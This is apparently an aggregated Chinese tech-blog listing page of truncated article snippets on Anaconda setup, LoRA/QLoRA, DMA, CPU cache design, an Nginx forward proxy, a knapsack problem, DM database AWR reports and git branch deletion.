文章目录 一、Anaconda下载1.从官网直接下载&#xff1a;2.从镜像站中下载&#xff1a; 二、Anaconda安装三、检测是否有Anaconda配置anaconda环境 四、 Anaconda创建多个python环境&#xff08;方便管理项目环境&#xff09;1.查看conda有哪些环境2.创建python3.6的环境3.激活…...

Lora理解QLoRA

Parameter-Efficient Fine-Tuning (PEFT) &#xff1a;节约开销的做法&#xff0c;fine-tune少量参数&#xff0c;而不是整个模型&#xff1b; Low-Rank Adaptation (LoRA) &#xff1a;是PEFT的一种&#xff1b;冻结原参数矩阵&#xff0c;只更新2个小参数矩阵。 原文经过对比…...

嵌入式杂谈——什么是DMA?有什么用?

什么是DMA&#xff1f;——直接内存访问技术详解 在嵌入式系统和计算机体系结构中&#xff0c;DMA&#xff08;Direct Memory Access&#xff0c;直接内存访问&#xff09; 是一种重要的数据传输技术。它允许外设&#xff08;如UART、SPI、ADC等&#xff09;直接与内存进行数据…...

超标量处理器设计2-cache

1. cache 介绍 影响Cache缺失的情况有3种&#xff1a; Compulsory: 第一次被访问的指令或者数据肯定不会在cache中&#xff0c;需要通过预取来减少这种缺失Capcity: Cache容量越大&#xff0c;缺失就可以更少, 程序频繁使用的三个数据来源于3个set&#xff0c; 但是&#xff…...

使用Nginx正向代理让内网主机通过外网主机访问互联网

目录 环境概述 流程说明 在外网服务器上安装部署nginx? 安装前准备 下载nginx ?编译安装nginx 开始配置正向代理 创建systemd服务单元文件&#xff0c;用于管理Nginx服务的启动、停止和重新加载 启动nginx ?代理服务器本地验证 ?内网服务器验证 ?将代理地址添…...

蓝桥杯刷题第二天——背包问题

题目描述 有N件物品和一个容量是V的背包。每件物品只能使用一次。第i件物品的体积是Vi价值是Wi。 求解将哪些物品装入背包&#xff0c;可使这些物品的总体积不超过背包容量&#xff0c;且总价值最大。 输出最大价值。 输入格式 第一行两个整数&#xff0c;N&#xff0c;V&am…...

DM达梦启用及收集AWR报告

1.创建DBMS_WORKLOAD_REPOSITORY系统包 查看DBMS_WORKLOAD_REPOSITORY系统包启用状态 SQL> SELECT SF_CHECK_AWR_SYS;LINEID SF_CHECK_AWR_SYS ---------- ---------------- 1 0SF_CHECK_AWR_SYS 返回值 0&#xff1a;未启用&#xff1b;1&#xff1a;已启…...

【git】如何删除本地分支和远程分支?

1.如何在 Git 中删除本地分支 本地分支是您本地机器上的分支&#xff0c;不会影响任何远程分支。 &#xff08;1&#xff09;在 Git 中删除本地分支 git branch -d local_branch_name git branch 是在本地删除分支的命令。-d是一个标志&#xff0c;是命令的一个选项&#x…...